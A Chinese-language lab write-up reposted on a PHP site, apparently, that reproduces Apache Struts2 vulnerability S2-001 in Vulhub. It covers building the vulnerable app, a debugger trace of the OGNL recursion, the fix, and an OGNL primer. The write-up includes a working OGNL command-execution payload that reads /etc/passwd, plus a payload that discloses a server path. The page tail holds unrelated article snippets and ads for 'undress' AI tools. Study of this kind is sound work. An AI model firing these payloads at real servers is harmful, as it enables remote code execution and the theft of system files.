Vulhub漏洞系列:struts2漏洞S2-001
1.漏洞描述:
struts2漏洞S2-001是當使用者提交表單資料且驗證失敗時,伺服器使用OGNL表達式解析使用者先前提交的參數值,%{value}並重新填入對應的表單資料。例如,在註冊或登入頁面中。如果提交失敗,則伺服器通常預設會傳回先前提交的資料。由於伺服器用於%{value}對提交的資料執行OGNL表達式解析,因此伺服器可以直接發送有效載荷來執行命令。
2.vulhub漏洞利用:
用vulhub複現漏洞可以省去環境的建構過程,相當方便。
vulhub官網位址:https://vulhub.org
啟動漏洞環境。
docker-compsoe up -d
輸入測試的payload
%{1+1}
可以看到我們的加法表達式成功執行了。
這次我們試試看指令執行,new java.lang.String[ {"cat","/etc/passwd"} 在這裡更改我們想要執行的命令。
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[ {"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
成功的讀取到了passwd檔。
下面給出三條利用語句:
取得tomcat路徑 |
---|
%{"tomcatBinDir{" @java.lang.System@getProperty("user.dir") "}"} |
#取得web路徑 |
---|
3.搭建环境
平台:win10
工具:Apache Tomcat 9.0.7,IntelliJ IDEA
下载IntelliJ IDE之后我们选择免费试用一个月,接下来创建我们的项目。
这个是搭建完成后的效果,下边所有创建添加的jar包或者修改的文件都按照这个格式进行。
目录结构如下。
需要如下几个包,下载地址:
http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip
解压完之后,我们把lib目录下对应的jar包导入到我们在项目中创建的lib目录中。
接着发布我们导入的jar包,不然会报错。
接下来就是我们要创建的几个文件,这里代码都给出来了,直接copy就行。(注意:一定要按照前边给出的目录结构放置下边的文件)
web.xml
<?xml version="1.0" encoding="UTF-8"?> <web-app><display-name>S2-001 Example</display-name><filter><filter-name>struts2</filter-name><filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class></filter><filter-mapping><filter-name>struts2</filter-name><url-pattern>/*</url-pattern></filter-mapping><welcome-file-list><welcome-file>index.jsp</welcome-file></welcome-file-list> </web-app>
index.jsp
nbsp;html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <meta> <title>S2-001</title> <h3 id="S-Demo">S2-001 Demo</h3> <p>link: <a>https://cwiki.apache.org/confluence/display/WW/S2-001</a></p> <form> <textfield></textfield> <textfield></textfield> <submit></submit> </form>
welcome.jsp
nbsp;html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <meta><title>S2-001</title> <p>Hello <property></property></p>
LoginAction.java
package com.demo.action; import com.opensymphony.xwork2.ActionSupport; public class LoginAction extends ActionSupport { private String username = null; private String password = null; public String getUsername() { return this.username; } public String getPassword() { return this.password; } public void setUsername(String username) { this.username = username; } public void setPassword(String password) { this.password = password; } public String execute() throws Exception { if ((this.username.isEmpty()) || (this.password.isEmpty())) { return "error"; } if ((this.username.equalsIgnoreCase("admin")) && (this.password.equals("admin"))) { return "success"; } return "error"; } }
src目录下新建struts.xml
<?xml version="1.0" encoding="UTF-8" ?> nbsp;struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd"> <struts><package><action><result>welcome.jsp</result><result>index.jsp</result></action></package> </struts>
4.原理分析
漏洞部分代码
xwork-2.0-beta-1.jar/com.opensymphony.xwork2/util/TextParseUtil.java
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) { Object result = expression; while(true) { int start = expression.indexOf(open + "{"); int length = expression.length(); int x = start + 2; int count = 1; while(start != -1 && x <p>运行我们搭建好的环境,记得开启debug模式</p><p><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168413749782784.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="struts2漏洞 S2-001实例分析">password处输入我们的测试语句:%{333*666},正确结果是多少来着,待我找个计算机算一下先(手动笑哭表情)</p><p><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168413749779261.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="struts2漏洞 S2-001实例分析"><br></p><p>expression会获取不同的参数值,我们直到其获取到password开始分析漏洞原因。</p><p><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168413749813869.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="struts2漏洞 S2-001实例分析"><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168413749822831.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="struts2漏洞 S2-001实例分析">然后这次的判断跳过了中间的return,为啥会跳过return呢?因为这里的password内容任然是一个ognl表达式所以会再次进入循环,接着这里取出%{password}中间的值password赋给var。<img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168413749819883.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="struts2漏洞 S2-001实例分析">在解析完%{password}表达式之后要获取其中的内容password进行展示,也就是我们这里的%{333*666}</p><p><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168413749869022.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="struts2漏洞 S2-001实例分析">然后这次的判断同样也会跳过中间的return,为啥会跳过return呢?因为这里的password内容依然是一个ognl表达式所以会再次进入循环,接着这里取出%{333*666}中间的值333*666赋给var。</p><p><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168413749847070.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="struts2漏洞 S2-001实例分析"><br></p><p>然后通过Object o = stack.findValue(var, asType)获得到password的值为333*666,然后重新赋值给expression,进行下一次循环。</p><p>在这一次循环的时候,就会解析333*666,并将赋值给了o,经过计算后expression的值就变成了221788。</p><p><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168413749817865.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="struts2漏洞 S2-001实例分析">不是OGNL表达式时就会进入<br></p><p><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168413749847614.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="struts2漏洞 S2-001实例分析"><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168413749956777.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="struts2漏洞 S2-001实例分析"><br></p><h3 id="漏洞修复">5.漏洞修复</h3><p>判断了循环的次数,从而在解析到%{333*666}的时候不会继续向下递归,相当于限制了解析ongl的次数。</p><p><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168413749980644.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="struts2漏洞 S2-001实例分析"><br></p><p>也就不会对用户提交的参数进行ongl解析</p><pre class="brush:php;toolbar:false">if (loopCount > maxLoopCount) { // translateVariables prevent infinite loop / expression recursive evaluation break; }
6.OGNL表达式
这里搬运大佬总结好的东西。
OGNL 是Object-Graph Navigation Language 的縮寫,它是一種強大的表達式語言(Expression Language,簡稱為EL),透過它簡單一致的表達式語法,可以存取物件的任意屬性,調用物件的方法,遍歷整個物件的結構圖,實現字段類型轉換等功能。它使用相同的表達式去訪問物件的屬性。 OGNL 三要素:(以下部分摘抄互聯網某處, 我覺得說得好)
1、表達式(Expression)
#表達式是整個OGNL 的核心,所有的OGNL 操作都是針對表達式的解析後進行的。表達式會規定此次 OGNL 操作到底要做什麼。我們可以看到,在上面的測試中,name、department.name 等都是表達式,表示取 name 或 department 中的 name 的值。 OGNL 支援很多類型的表達式,之後我們會看到更多。
2、根物件(Root Object)
根物件可以理解為 OGNL 的操作物件。在表達式規定了 「幹什麼」 以後,你還需要指定到底「對誰幹」。在上面的測試程式碼中,user 就是根物件。這就意味著,我們需要對 user 這個物件去取 name 這個屬性的值(對 user 這個物件去設定其中的 department 中的 name 屬性值)。
3、上下文環境(Context)
有了表達式和根對象,我們實際上已經可以使用 OGNL 的基本功能。例如,根據表達式對根物件進行取值或設值工作。不過實際上,在 OGNL 的內部,所有的操作都會在特定的環境中運行,而這個環境就是 OGNL 的上下文環境(Context)。說得再明白一些,就是這個上下文環境(Context),將規定 OGNL 的操作 「在哪裡幹」。
OGN L 的上下文環境是一個 Map 結構,稱為 OgnlContext。上面我們提到的根物件(Root
Object),事實上也會被加入到上下文環境中去,並且這將作為一個特殊的變數進行處理,具體就表現為針對根物件(Root
Object)的存取操作的表達式是不需要增加#符號進行區分的。
#表達式功能操作清單: |
---|
1.基本物件樹的存取 物件樹的存取就是透過使用點號將物件的參考串連起來進行。 例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx2. 對容器變數的存取 對容器變數的訪問,透過#符號加上表達式進行。 例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx3. 使用操作符號 OGNL表達式中能使用的操作符基本上跟Java裡的操作符一樣,除了能使用, -, *, /, , --, ==, !=, = 等運算子之外,還能使用mod, in, not in等。 4. 容器、陣列、物件 OGNL支援對陣列和ArrayList等容器的順序存取:例如:group.users[0] 同時,OGNL支援對Map的按鍵值查找: 例如:# session['mySessionPropKey'] 不僅如此,OGNL也支援容器的建構的表達式: 例如:{"green", "red", "blue"}建構一個List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}建構一個Map 你也可以透過任意類別物件的建構子進行物件新建 例如:new Java.net.URL ("xxxxxx/")5. 對靜態方法或變數的存取 要引用類別的靜態方法和字段,他們的表達方式是一樣的@class@member或@class@method(args):6. 方法呼叫 直接透過類似Java的方法呼叫方式進行,你甚至可以傳遞參數: 例如:user.getName(),group.users.size(),group.containsUser(#requestUser)7.投影和選擇 OGNL支援類似資料庫中的投影(projection) 和選擇(selection)。 投影就是選出**中每個元素的相同屬性組成新的**,類似於關聯式資料庫的欄位操作。投影操作語法為 collection.{XXX},其中XXX 是這個**中每個元素的公共屬性。 例如:group.userList.{username}將會取得某個group中的所有user的name的清單。 選擇就是過濾符合selection 條件的**元素,類似關聯式資料庫的紀錄運算。選擇操作的語法為:collection.{X YYY},其中X 是選擇運算符,後面則是選擇用的邏輯表達式。而選擇操作符有三種: ? 選擇所有滿足條件的元素 ^ 選擇滿足條件的第一個元素 $ 選擇滿足條件的最後一個元素 例如:group.userList.{ ? #txxx.xxx != null}將取得某個group中user的name不為空的user的清單。 |
以上是struts2漏洞 S2-001實例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

一、前言Struts2漏洞是一个经典的漏洞系列,根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前困难很多,从实际了解的情况来看,大部分用户早就修复了历史的高危漏洞。目前在做渗透测试时,Struts2漏洞主要也是碰碰运气,或者是打到内网之后用来攻击没打补丁的系统会比较有效。网上的分析文章主要从攻击利用的角度来分析这些Struts2漏洞。作为新华三攻防团队,我们的一部分工作是维护ips产品的规则库,今天回顾一下这个系

Struts2框架的原理:1、拦截器解析请求路径;2、查找Action的完整类名;3、创建Action对象;4、执行Action方法;5、返回结果;6、视图解析。它原理基于拦截器的机制,使得业务逻辑控制器与Servlet API完全脱离开,提高了代码的可重用性和可维护性。通过使用反射机制,Struts2框架可以灵活地创建和管理Action对象,实现请求与响应的处理。

Vulhub漏洞系列:struts2漏洞S2-0011.漏洞描述:struts2漏洞S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。例如,在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。2.vulhub漏洞利用:用vulhub复现漏洞可以省去环境的搭建过程,相当方便。vu

0x00简介Struts2是Apache软件组织推出的一个相当强大的JavaWeb开源框架,本质上相当于一个servlet。Struts2基于MVC架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级Javaweb应用程序,它利用并延伸了JavaServletAPI,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。0x01漏洞

前言2018年8月22日,ApacheStrust2发布最新安全公告,ApacheStruts2存在远程代码执行的高危漏洞(S2-057/CVE-2018-11776),该漏洞由SemmleSecurityResearchteam的安全研究员ManYueMo发现。该漏洞是由于在Struts2开发框架中使用namespace功能定义XML配置时,namespace值未被设置且在上层动作配置(ActionConfiguration)中未设置或用通配符namespace,可能导致远程代码执行。同理,u

0x00简介Struts2框架是一个用于开发JavaEE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了JavaServletAPI,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。0x01漏洞概述ApacheStruts22.3.x系列启用了struts2-struts1-plugin插件并且存在struts2-showcase目录,其漏洞成因是当ActionMe

1.概述Struts是Apache软件基金会(ASF)赞助的一个开源项目。它最初是Jakarta项目中的一个子项目,后来成为ASF的顶级项目。它通过采用JavaServlet/JSP技术,实现了基于JavaEEWeb应用的Model-View-Controller〔MVC〕设计模式的应用框架〔WebFramework〕,是MVC经典设计模式中的一个经典产品。在JavaEE的Web应用发展的初期,除了使用Servlet技术以外,普遍是在JavaServerPages(JSP)的源代码中,采用HTM

目前,Apache官方已经发布了版本更新修复了该漏洞。建议用户及时确认ApacheStruts产品版本,如受影响,请及时采取修补措施。一、漏洞介绍ApacheStruts2是美国阿帕奇(Apache)软件基金会下属的Jakarta项目中的一个子项目,是一个基于MVC设计的Web应用框架。2018年8月22日,Apache官方发布了ApacheStruts2S2-057安全漏洞(CNNVD-201808-740、CVE-2018-11776)。当在struts2开发框架中启用泛namespace功


熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

AI Hentai Generator
免費產生 AI 無盡。

熱門文章

熱工具

SublimeText3 英文版
推薦:為Win版本,支援程式碼提示!

SublimeText3漢化版
中文版,非常好用

WebStorm Mac版
好用的JavaScript開發工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

SublimeText3 Linux新版
SublimeText3 Linux最新版